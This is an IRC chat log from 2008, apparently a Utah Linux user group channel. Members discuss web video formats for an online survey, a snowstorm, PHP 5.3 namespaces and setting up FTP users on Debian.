| 22:40.33 | beandog | nick125, which is why flash is the de facto codec, works everywhere |
| 22:40.40 | herlo | unum: everything on google is beta |
| 22:40.44 | unum | not the main search |
| 22:40.47 | nick125 | beandog: But that would require using Flash. Which is bad. |
| 22:40.54 | unum | but no I'm not using google on this site |
| 22:41.02 | beandog | nick125, I think using Flash is better than having to have QuickTime, RealPlayer and WMP installed. |
| 22:41.11 | beandog | just to surf the internets. |
| 22:41.20 | levi | Just use flash. Geez. |
| 22:41.22 | nick125 | beandog: I think Flash would be alright if it actually worked half of the time. |
| 22:41.25 | herlo | unum: google, in general is beta, that's their business model. has nothign to do with your site |
| 22:41.31 | nick125 | And not locked up the browser, etc. |
| 22:41.45 | beandog | Sure I love the open codecs, but Im all about praciticality too |
| 22:41.49 | beandog | er, practicality |
| 22:41.50 | herlo | the point was that if you don't like beta stuff, we wouldn't have the success we do in the tech world |
| 22:42.02 | unum | herlo: I said I don't want to use beta on THIS site. we're not google |
| 22:42.06 | herlo | beandog: no argument, xvid/divx would be good too |
| 22:42.22 | herlo | unum: I understand that, but I was just pointing out that its a viable model |
| 22:42.28 | beandog | divx would probably be my first choice behind flash if you were looking for compatability |
| 22:42.30 | levi | xvid/divx certainly has a way smaller installed base than Flash. |
| 22:42.33 | unum | in certain industries |
| 22:42.38 | unum | I'm not in the tech industry |
| 22:43.03 | herlo | unum: yes you are, just not your customers maybe |
| 22:43.07 | herlo | :) |
| 22:43.23 | unum | the people using our site are definetly NOT in the tech industry |
| 22:43.29 | unum | maybe a few will be but most won't be |
| 22:43.29 | herlo | right |
| 22:43.33 | herlo | hehe, np |
| 22:43.57 | levi | I don't think there's any streaming media solution that will have a higher percentage of users with the plugin already installed than Flash. |
| 22:44.12 | beandog | aside from mp3 |
| 22:44.16 | tensai | levi: aalib? |
| 22:44.16 | beandog | mpeg4 is your best bet |
| 22:44.19 | herlo | levi: its true, but flash sux |
| 22:44.24 | levi | herlo: So? |
| 22:44.40 | herlo | levi: we got to go against the grain at some poitn to get some traction |
| 22:44.40 | levi | herlo: The idea is to display video. |
| 22:44.42 | herlo | that is all |
| 22:44.57 | herlo | levi: yes, I know |
| 22:45.21 | levi | herlo: To as many people as possible. |
| 22:45.47 | beandog | in that case, do p2p |
| 22:45.48 | beandog | :D |
| 22:46.04 | beandog | and claim its pirated. |
| 22:46.42 | unum | beandog: you win :) |
| 22:46.45 | herlo | beandog: hehe |
| 22:47.15 | unum | actually we're doing an online survey. so we need as high a percentage as possible of the people we invite to see the video |
| 22:47.25 | unum | otherwise it costs the customer more money, and they go through someone else |
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| 22:47.35 | herlo | unum: oh, yeah, pirate that video and send it out on all the trackers! |
| 22:47.39 | nick125 | Put up a flash video, then have a link like "Can't see this video? Click here!" and have another format. |
| 22:47.50 | beandog | thats what I was thinking |
| 22:48.16 | nick125 | so people who aren't in the mood to deal with Flash and the utter crappiness can go an alternate route |
| 22:48.37 | unum | not sure how we can work that with in our already existant frame work |
| 22:48.57 | unum | I guess if it give a link to a wmv or something that would work |
| 22:49.02 | unum | we have about 20% ff users for this |
| 22:49.09 | unum | so not all our users are complete idiots... |
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| 22:49.56 | unum | the videos that people like will probably show on utube |
| 22:50.11 | unum | they're campaign ads, etc |
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| 23:00.09 | fozzmoo | It's like someone picked up the world and shook it! |
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| 23:02.01 | RyanE | Supaplex: I assume he's talking about the *snow*.... Which.. Yeah, can't see the other side of the street. |
| 23:02.34 | Supaplex | I thought he was talking about netsplits :P |
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| 23:07.51 | levi | Yow, that is some serious snow. |
| 23:08.49 | vontrapp | ~snow levi |
| 23:08.50 | ibot | ACTION gets a bunch of white paper dots and shreds and flies over levi in a helicopter, dropping them incessantly |
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| 23:13.00 | levi | Hey, PHP 5.3 has namespaces. |
| 23:13.17 | vontrapp | ~php |
| 23:13.17 | ibot | Mmmmmmmmhmmmm! Tasty scripts!! http://www.php.net/, or the solution of choice for relaying mysql errors to users |
| 23:13.27 | vontrapp | haha |
| 23:13.45 | fozzmoo | ;-) |
| 23:17.24 | Supaplex | namespaces? why start now :P |
| 23:17.43 | nick125 | hah |
| 23:17.43 | vontrapp | gah, schizo is not responding! |
| 23:18.50 | vontrapp | -lart schizo |
| 23:22.31 | dataw0lf | levi: dear god |
| 23:22.44 | dataw0lf | now I'll just wait for them not to implement it in their core library like they did exceptions |
| 23:26.03 | levi | Anyone know how long this storm is likely to last? |
| 23:27.27 | Supaplex | levi: I have no snow. where are you at? |
| 23:27.36 | levi | Supaplex: Sandy |
| 23:28.09 | Supaplex | it's only gloomy and windy in clearfield |
| 23:29.37 | dataw0lf | levi: not very long |
| 23:29.50 | dataw0lf | it passed right over Reno and we were only supposed to get an inch or so |
| 23:30.26 | dataw0lf | of course we're just a wind tunnel that propels all weather to you |
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| 23:31.35 | levi | Hrm. According to the weather channel site, it's going to be snowing until at least midnight. |
| 23:32.36 | levi | Although it also says 'snowfall around one inch' |
| 23:32.48 | levi | I think we've already got about that much. |
| 23:39.53 | Heartsbane | Really I was going to try and go to the U of U for Python this evening |
| 23:40.32 | levi | Well, I'd better start driving to school. |
| 23:40.52 | Heartsbane | what time you need to be there |
| 23:41.13 | rsimpkins | The roads are a mess. ;( |
| 23:41.39 | Heartsbane | really |
| 23:41.39 | elg | -weather klru |
| 23:41.40 | brac | 10 minutes ago, on Wed Feb 13 23:32:00 UTC 2008, the wind was blowing at a speed of 6.69 meters per second (14.96 miles per hour), with gusts to 9.77 meters per second (21.86 miles per hour), from the West/Southwest at KLRU. The temperature was 22 degrees Celsius (72 degrees Fahrenheit), and the pressure was 1010 hPa (29.00 inHg). The relative humidity was 11.7%. The sky was clear. |
| 23:41.42 | tensai | dataw0lf: looks sane enough |
| 23:41.43 | tensai | http://blog.felho.hu/whats-new-in-php-53-part-1-namespaces.html |
| 23:42.00 | elg | 72 today. 1-3 inches of snow on friday |
| 23:42.01 | elg | w00t |
| 23:42.17 | dataw0lf | tensai: yea, it doesn't look bad at all |
| 23:42.32 | Heartsbane | -weather kslc |
| 23:42.33 | brac | 50 minutes ago, on Wed Feb 13 22:53:00 UTC 2008, the wind was blowing at a speed of 10.29 meters per second (23.02 miles per hour) from the Northwest at KSLC. The temperature was 1 degrees Celsius (34 degrees Fahrenheit), and the pressure was 1004 hPa (29.00 inHg). The relative humidity was 93.0%. There were overcast clouds at a height of 152 meters (500 feet). Current weather is |
| 23:42.33 | brac | Light Snow Moderate Mist . |
| 23:42.40 | tensai | dataw0lf: I suppose they had plenty of time to think about it |
| 23:42.53 | dataw0lf | I just wish they would change PHP 6 so that their global namespace breaks down to individual namespaces, and they use exceptions in core too |
| 23:43.01 | dataw0lf | don't get me wrong, it's been a long time coming |
| 23:43.19 | dataw0lf | but adding feature after feature to a language without adopting those paradigms/features into core is ridiculous |
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| 23:49.44 | justingiboney | I set up ftp for a user on my debian edge, but I can't remember how I did it, is there any way to find out how I did it, so that I can add more ftp accounts |
| 23:55.04 | rsimpkins | justingiboney: Probably just adduser |
| 23:55.22 | rsimpkins | justingiboney: Then edit any files like ftpaccess etc for chrooting if you do that, etc. |
| 23:55.57 | rsimpkins | Does anyone know the windows utitliy that let's you edit the startup processes? I thought it was called wincfg or something along those lines. |
| 23:56.00 | justingiboney | ya I tried to create a new user and set the home folder, but i can't ftp in |
| 23:58.24 | justingiboney | it is just "chown newuser:users /path" right |
| 23:59.38 | tensai | rsimpkins: msconfig? |
| 23:59.49 | rsimpkins | that was it, thanks. |
| 23:59.57 | Supaplex | justingiboney: more detail on "can't ftp in". what client? what error message? what's the hold up you see? |
